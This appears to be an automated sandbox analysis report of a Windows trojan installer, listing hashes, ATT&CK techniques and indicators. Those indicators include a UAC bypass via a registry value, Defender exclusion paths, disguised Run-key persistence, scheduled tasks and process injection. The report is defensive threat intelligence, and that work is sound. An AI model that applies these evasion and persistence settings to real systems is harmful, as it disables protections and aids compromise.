7fae9dca21c5c2f802c1a48c707abeecd41feb3b18b828ca4fce1f5333d3f645

Analysis

max time kernel
300s
max time network
300s
platform
windows11-21h2_x64
resource
win11-20260911-en
resource tags

arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
24/10/2026, 13:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.04.exe
Size 30.5MB
Sample261024-qeq2lah12x
SHA256 7fae9dca21c5c2f802c1a48c707abeecd41feb3b18b828ca4fce1f5333d3f645
MD5 55b4155240cd59c52333dc0f071cbd3c
SHA1 6424a2ca76457d5453a521b8a0fae2bdca1344b8
SHA512 6d12239f2c1f096df43e7031a9d96a63e03f3d4c1b9020d72774a4e71768ac7ce6fb61ebef6b35a364e9e56b10b68e33523d2a32fcf108f864b6288d4c88bd88
SSDEEP 196608:sZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCY7:TC/p+HuPOc4C
TLSH
T13D67181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Y1p8bM.exe

Windows security bypass 2 TTPs 16 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\AJbqOg = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\Y1p8bM = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1496	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	Y1p8bM.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
5736	takeown.exe
4352	icacls.exe
4136	icacls.exe
3916	icacls.exe
580	icacls.exe
6064	icacls.exe
3512	icacls.exe
2704	icacls.exe
4088	icacls.exe
4604	icacls.exe
5012	icacls.exe
960	takeown.exe
4128	icacls.exe
4896	icacls.exe
5592	icacls.exe
236	icacls.exe
1252	icacls.exe
4592	icacls.exe
3804	icacls.exe
2908	icacls.exe
5148	icacls.exe
2428	icacls.exe
2980	icacls.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Y1p8bM.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 11 IoCs

pid	Process
5956	bbTqHH.exe
1092	bbTqHH.exe
3424	Y1p8bM.exe
5268	Y1p8bM.exe
5420	c5D6NZCo.exe
5524	Y1p8bM.exe
344	c5D6NZCo.exe
1236	Y1p8bM.exe
6108	c5D6NZCo.exe
6136	Y1p8bM.exe
5588	c5D6NZCo.exe

Loads dropped DLL 11 IoCs

pid	Process
5956	bbTqHH.exe
1092	bbTqHH.exe
3424	Y1p8bM.exe
5268	Y1p8bM.exe
5420	c5D6NZCo.exe
5524	Y1p8bM.exe
344	c5D6NZCo.exe
1236	Y1p8bM.exe
6108	c5D6NZCo.exe
6136	Y1p8bM.exe
5588	c5D6NZCo.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
236	icacls.exe
6064	icacls.exe
5592	icacls.exe
2428	icacls.exe
2908	icacls.exe
4128	icacls.exe
4136	icacls.exe
2980	icacls.exe
3916	icacls.exe
580	icacls.exe
5012	icacls.exe
1252	icacls.exe
3512	icacls.exe
5736	takeown.exe
4352	icacls.exe
4088	icacls.exe
4604	icacls.exe
5148	icacls.exe
4896	icacls.exe
2704	icacls.exe
960	takeown.exe
4592	icacls.exe
3804	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\AJbqOg\\bbTqHH.exe\""	bbTqHH.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\Y1p8bM\\Y1p8bM.exe\""	Y1p8bM.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1132	cmd.exe
4432	cmd.exe
2252	cmd.exe
72	cmd.exe
5764	cmd.exe
1648	cmd.exe
1696	cmd.exe
2376	cmd.exe
1568	cmd.exe
3620	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	bbTqHH.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Y1p8bM\XPSPLOG.dll	bbTqHH.exe
File opened for modification	C:\Program Files (x86)\lMbPqMh6\image.png	Y1p8bM.exe
File created	C:\Program Files (x86)\lMbPqMh6\XPSPLOG.dll	Y1p8bM.exe
File created	C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe	bbTqHH.exe
File opened for modification	C:\Program Files (x86)\Y1p8bM\image.png	bbTqHH.exe
File created	C:\Program Files (x86)\lMbPqMh6\thumbs.db	Y1p8bM.exe
File opened for modification	C:\Program Files (x86)\Y1p8bM	bbTqHH.exe
File created	C:\Program Files (x86)\Y1p8bM\image.png	bbTqHH.exe
File created	C:\Program Files (x86)\Y1p8bM\thumbs.db	bbTqHH.exe
File opened for modification	C:\Program Files (x86)\Y1p8bM\thumbs.db	bbTqHH.exe
File opened for modification	C:\Program Files (x86)\lMbPqMh6	Y1p8bM.exe
File opened for modification	C:\Program Files (x86)\lMbPqMh6\thumbs.db	Y1p8bM.exe
File opened for modification	C:\Program Files (x86)\lMbPqMh6\XPSPLOG.dll	Y1p8bM.exe
File opened for modification	C:\Program Files (x86)\lMbPqMh6\c5D6NZCo.exe	Y1p8bM.exe
File opened for modification	C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe	bbTqHH.exe
File opened for modification	C:\Program Files (x86)\Y1p8bM\XPSPLOG.dll	bbTqHH.exe
File created	C:\Program Files (x86)\lMbPqMh6\image.png	Y1p8bM.exe
File created	C:\Program Files (x86)\lMbPqMh6\c5D6NZCo.exe	Y1p8bM.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	Y1p8bM.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5572	sc.exe
2708	sc.exe
6120	sc.exe
4464	sc.exe
2828	sc.exe
4556	sc.exe
1208	sc.exe
3580	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3562044790-535044693-348086427-1000\Control Panel\Desktop\ScreenSaveActive = "0"	Y1p8bM.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3562044790-535044693-348086427-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	Y1p8bM.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3562044790-535044693-348086427-1000\Control Panel\Desktop\SCRNSAVE.EXE	Y1p8bM.exe

Executes a command shell one-liner 1 TTPs 27 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4644	cmd.exe
2472	cmd.exe
1620	cmd.exe
5860	cmd.exe
5040	cmd.exe
3744	cmd.exe
5952	cmd.exe
844	cmd.exe
5808	cmd.exe
5484	cmd.exe
768	cmd.exe
3544	cmd.exe
2232	cmd.exe
2168	cmd.exe
2644	cmd.exe
2604	cmd.exe
1688	cmd.exe
1408	cmd.exe
4736	cmd.exe
5776	cmd.exe
5868	cmd.exe
3928	cmd.exe
4764	cmd.exe
5412	cmd.exe
2292	cmd.exe
5056	cmd.exe
5804	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	bbTqHH.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	bbTqHH.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Y1p8bM.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Y1p8bM.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.04.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.04.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Y1p8bM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Y1p8bM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Y1p8bM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c5D6NZCo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Y1p8bM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c5D6NZCo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c5D6NZCo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Y1p8bM.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Y1p8bM.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3562044790-535044693-348086427-1000\Control Panel\Desktop\ScreenSaveActive = "0"	Y1p8bM.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3562044790-535044693-348086427-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	Y1p8bM.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3562044790-535044693-348086427-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	Y1p8bM.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3562044790-535044693-348086427-1000\Control Panel\Desktop\SCRNSAVE.EXE	Y1p8bM.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5156	schtasks.exe
4428	schtasks.exe
4736	schtasks.exe
1808	schtasks.exe
5192	schtasks.exe
4900	schtasks.exe
2460	schtasks.exe
1144	schtasks.exe
3308	schtasks.exe
5036	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
4588	install.2.0.04.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe
5956	bbTqHH.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	5736	takeown.exe
Token: SeRestorePrivilege	4604	icacls.exe
Token: SeTakeOwnershipPrivilege	960	takeown.exe
Token: SeRestorePrivilege	4136	icacls.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeIncreaseQuotaPrivilege	1496	powershell.exe
Token: SeSecurityPrivilege	1496	powershell.exe
Token: SeTakeOwnershipPrivilege	1496	powershell.exe
Token: SeLoadDriverPrivilege	1496	powershell.exe
Token: SeSystemProfilePrivilege	1496	powershell.exe
Token: SeSystemtimePrivilege	1496	powershell.exe
Token: SeProfSingleProcessPrivilege	1496	powershell.exe
Token: SeIncBasePriorityPrivilege	1496	powershell.exe
Token: SeCreatePagefilePrivilege	1496	powershell.exe
Token: SeBackupPrivilege	1496	powershell.exe
Token: SeRestorePrivilege	1496	powershell.exe
Token: SeShutdownPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeSystemEnvironmentPrivilege	1496	powershell.exe
Token: SeRemoteShutdownPrivilege	1496	powershell.exe
Token: SeUndockPrivilege	1496	powershell.exe
Token: SeManageVolumePrivilege	1496	powershell.exe
Token: 33	1496	powershell.exe
Token: 34	1496	powershell.exe
Token: 35	1496	powershell.exe
Token: 36	1496	powershell.exe
Token: SeIncreaseQuotaPrivilege	1496	powershell.exe
Token: SeSecurityPrivilege	1496	powershell.exe
Token: SeTakeOwnershipPrivilege	1496	powershell.exe
Token: SeLoadDriverPrivilege	1496	powershell.exe
Token: SeSystemProfilePrivilege	1496	powershell.exe
Token: SeSystemtimePrivilege	1496	powershell.exe
Token: SeProfSingleProcessPrivilege	1496	powershell.exe
Token: SeIncBasePriorityPrivilege	1496	powershell.exe
Token: SeCreatePagefilePrivilege	1496	powershell.exe
Token: SeBackupPrivilege	1496	powershell.exe
Token: SeRestorePrivilege	1496	powershell.exe
Token: SeShutdownPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeSystemEnvironmentPrivilege	1496	powershell.exe
Token: SeRemoteShutdownPrivilege	1496	powershell.exe
Token: SeUndockPrivilege	1496	powershell.exe
Token: SeManageVolumePrivilege	1496	powershell.exe
Token: 33	1496	powershell.exe
Token: 34	1496	powershell.exe
Token: 35	1496	powershell.exe
Token: 36	1496	powershell.exe
Token: SeIncreaseQuotaPrivilege	1496	powershell.exe
Token: SeSecurityPrivilege	1496	powershell.exe
Token: SeTakeOwnershipPrivilege	1496	powershell.exe
Token: SeLoadDriverPrivilege	1496	powershell.exe
Token: SeSystemProfilePrivilege	1496	powershell.exe
Token: SeSystemtimePrivilege	1496	powershell.exe
Token: SeProfSingleProcessPrivilege	1496	powershell.exe
Token: SeIncBasePriorityPrivilege	1496	powershell.exe
Token: SeCreatePagefilePrivilege	1496	powershell.exe
Token: SeBackupPrivilege	1496	powershell.exe
Token: SeRestorePrivilege	1496	powershell.exe
Token: SeShutdownPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeSystemEnvironmentPrivilege	1496	powershell.exe
Token: SeRemoteShutdownPrivilege	1496	powershell.exe
Token: SeUndockPrivilege	1496	powershell.exe
Token: SeManageVolumePrivilege	1496	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5956 wrote to memory of 5764	5956	bbTqHH.exe	81
PID 5764 wrote to memory of 3308	5764	cmd.exe	83
PID 5764 wrote to memory of 3252	5764	cmd.exe	84
PID 5764 wrote to memory of 2708	5764	cmd.exe	88
PID 5868 wrote to memory of 5040	5868	cmd.exe	92
PID 5956 wrote to memory of 4432	5956	bbTqHH.exe	93
PID 5956 wrote to memory of 1648	5956	bbTqHH.exe	95
PID 4432 wrote to memory of 4736	4432	cmd.exe	97
PID 4432 wrote to memory of 3328	4432	cmd.exe	98
PID 1648 wrote to memory of 5036	1648	cmd.exe	100
PID 4432 wrote to memory of 2428	4432	cmd.exe	102
PID 1648 wrote to memory of 3064	1648	cmd.exe	103
PID 1648 wrote to memory of 2188	1648	cmd.exe	104
PID 5956 wrote to memory of 1696	5956	bbTqHH.exe	105
PID 1696 wrote to memory of 5156	1696	cmd.exe	107
PID 4644 wrote to memory of 5180	4644	cmd.exe	108
PID 1696 wrote to memory of 3948	1696	cmd.exe	109
PID 1696 wrote to memory of 576	1696	cmd.exe	111
PID 3928 wrote to memory of 1692	3928	cmd.exe	113
PID 5956 wrote to memory of 2252	5956	bbTqHH.exe	114
PID 2252 wrote to memory of 4428	2252	cmd.exe	116
PID 2252 wrote to memory of 4180	2252	cmd.exe	117
PID 2252 wrote to memory of 4444	2252	cmd.exe	119
PID 4764 wrote to memory of 5244	4764	cmd.exe	121
PID 5956 wrote to memory of 3424	5956	bbTqHH.exe	122
PID 3424 wrote to memory of 5484	3424	Y1p8bM.exe	124
PID 3424 wrote to memory of 5412	3424	Y1p8bM.exe	126
PID 3424 wrote to memory of 5808	3424	Y1p8bM.exe	129
PID 3424 wrote to memory of 2376	3424	Y1p8bM.exe	131
PID 3424 wrote to memory of 2472	3424	Y1p8bM.exe	132
PID 3424 wrote to memory of 1620	3424	Y1p8bM.exe	133
PID 5484 wrote to memory of 236	5484	cmd.exe	137
PID 3424 wrote to memory of 72	3424	Y1p8bM.exe	138
PID 2376 wrote to memory of 1808	2376	cmd.exe	140
PID 2472 wrote to memory of 3288	2472	cmd.exe	141
PID 3288 wrote to memory of 4864	3288	net.exe	142
PID 3424 wrote to memory of 2292	3424	Y1p8bM.exe	143
PID 72 wrote to memory of 5192	72	cmd.exe	145
PID 2292 wrote to memory of 3512	2292	cmd.exe	146
PID 3424 wrote to memory of 1408	3424	Y1p8bM.exe	147
PID 2472 wrote to memory of 3580	2472	cmd.exe	149
PID 1408 wrote to memory of 5592	1408	cmd.exe	150
PID 2472 wrote to memory of 6120	2472	cmd.exe	151
PID 3424 wrote to memory of 3544	3424	Y1p8bM.exe	152
PID 2472 wrote to memory of 3068	2472	cmd.exe	153
PID 3424 wrote to memory of 1568	3424	Y1p8bM.exe	155
PID 3068 wrote to memory of 2192	3068	net.exe	157
PID 1568 wrote to memory of 4900	1568	cmd.exe	158
PID 3544 wrote to memory of 4896	3544	cmd.exe	159
PID 2472 wrote to memory of 1208	2472	cmd.exe	160
PID 3424 wrote to memory of 1688	3424	Y1p8bM.exe	161
PID 2472 wrote to memory of 4556	2472	cmd.exe	163
PID 2472 wrote to memory of 5740	2472	cmd.exe	164
PID 5740 wrote to memory of 6076	5740	net.exe	165
PID 1688 wrote to memory of 6064	1688	cmd.exe	166
PID 3424 wrote to memory of 768	3424	Y1p8bM.exe	167
PID 2472 wrote to memory of 4464	2472	cmd.exe	169
PID 768 wrote to memory of 2908	768	cmd.exe	170
PID 2472 wrote to memory of 2828	2472	cmd.exe	171
PID 2472 wrote to memory of 2264	2472	cmd.exe	172
PID 2264 wrote to memory of 2284	2264	net.exe	173
PID 3424 wrote to memory of 5860	3424	Y1p8bM.exe	174
PID 2472 wrote to memory of 2708	2472	cmd.exe	176
PID 5860 wrote to memory of 2704	5860	cmd.exe	177

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Y1p8bM.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
